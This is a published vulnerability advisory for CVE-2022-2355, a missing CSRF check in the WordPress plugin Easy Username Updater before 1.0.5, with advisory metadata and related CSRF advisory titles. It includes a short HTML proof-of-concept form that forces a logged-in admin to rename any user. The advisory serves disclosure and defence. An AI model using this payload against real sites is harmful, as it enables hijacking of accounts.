Easy Username Updater < 1.0.5 – Arbitrary Username Update via CSRF | CVE 2022-2355 | Plugin Vulnerabilities

Description

The plugin does not implement CSRF checks, which could allow attackers to make a logged in admin change any user's username includes the admin

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=eup_username_update&update=3" method="POST">
      <input type="hidden" name="user&#95;login" value="newusername" />
      <input type="hidden" name="submit" value="Update&#32;Username" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

username-updater

Fixed in 1.0.5

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter

Verified

Yes

WPVDB ID

426b5a0f-c16d-429a-9396-b3aea7922826

Timeline

Publicly Published

2022-07-18 (about 3 years ago)

Added

2022-07-18 (about 3 years ago)

Last Updated

2023-04-17 (about 2 years ago)

Other

Published

Title

Published

2025-01-16

Title

WordPress Data Guard <= 8 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2023-02-28

Title

OAuth Single Sign On - SSO (OAuth Client) Enterprise < 48.4.9 - IdP Deletion via CSRF

Published

2024-01-16

Title

Custom Dashboard Widgets <= 1.3.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting via cdw_DashboardWidgets

Published

2023-08-02

Title

Upload Media By URL < 1.0.8 - Stored XSS via CSRF

Published

2023-10-12

Title

Contact Form With Captcha <= 1.6.8 - Cross-Site Request Forgery